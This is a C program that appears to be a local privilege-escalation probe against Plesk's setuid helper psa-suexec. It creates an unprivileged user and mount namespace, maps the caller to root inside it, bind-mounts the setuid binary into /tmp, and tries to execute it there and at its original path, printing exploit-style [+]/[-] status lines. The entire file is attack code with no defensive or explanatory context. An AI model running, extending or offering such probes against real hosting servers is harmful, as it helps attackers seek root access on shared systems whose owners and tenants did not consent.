#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdarg.h>
#include <errno.h>
#include <string.h>

static void write_file(const char *p, const char *fmt, ...) {
    int fd = open(p, O_WRONLY); if (fd<0) return;
    char buf[256]; va_list ap; va_start(ap, fmt);
    int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
    write(fd, buf, n); close(fd);
}

int main(void) {
    uid_t ruid = getuid();
    gid_t rgid = getgid();
    printf("[*] real uid=%u gid=%u\n", ruid, rgid);
    fflush(stdout);
    int fd = open("/usr/lib64/plesk-9.0/suexec/psa-suexec", O_RDONLY);
    if (fd < 0) {
        printf("[-] cannot open psa-suexec: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] psa-suexec opened fd=%d\n", fd);
    fflush(stdout);
    close(fd);
    if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) {
        printf("[-] unshare: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] unshare OK\n");
    fflush(stdout);
    write_file("/proc/self/setgroups", "deny");
    write_file("/proc/self/uid_map", "0 %u 1", ruid);
    write_file("/proc/self/gid_map", "0 %u 1", rgid);
    printf("[*] uid now=%u euid=%u\n", getuid(), geteuid());
    fflush(stdout);
    mkdir("/tmp/ns_test_dir", 0755);
    int r = mount("/usr/lib64/plesk-9.0/suexec/psa-suexec", "/tmp/ns_test_dir/psa-suexec",
              NULL, MS_BIND, NULL);
    if (r < 0) {
        printf("[-] bind mount failed: %s\n", strerror(errno));
    } else {
        printf("[+] bind mount OK - checking flags\n");
        fflush(stdout);
        /* Try to exec the bind-mounted binary */
        char *argv[] = {"/tmp/ns_test_dir/psa-suexec", NULL};
        execv("/tmp/ns_test_dir/psa-suexec", argv);
        printf("[-] execv failed: %s\n", strerror(errno));
    }
    /* Also test directly on the original path */
    printf("[*] trying direct exec of psa-suexec\n");
    char *argv2[] = {"/usr/lib64/plesk-9.0/suexec/psa-suexec", NULL};
    execv("/usr/lib64/plesk-9.0/suexec/psa-suexec", argv2);
    printf("[-] direct execv failed: %s\n", strerror(errno));
    return 0;
}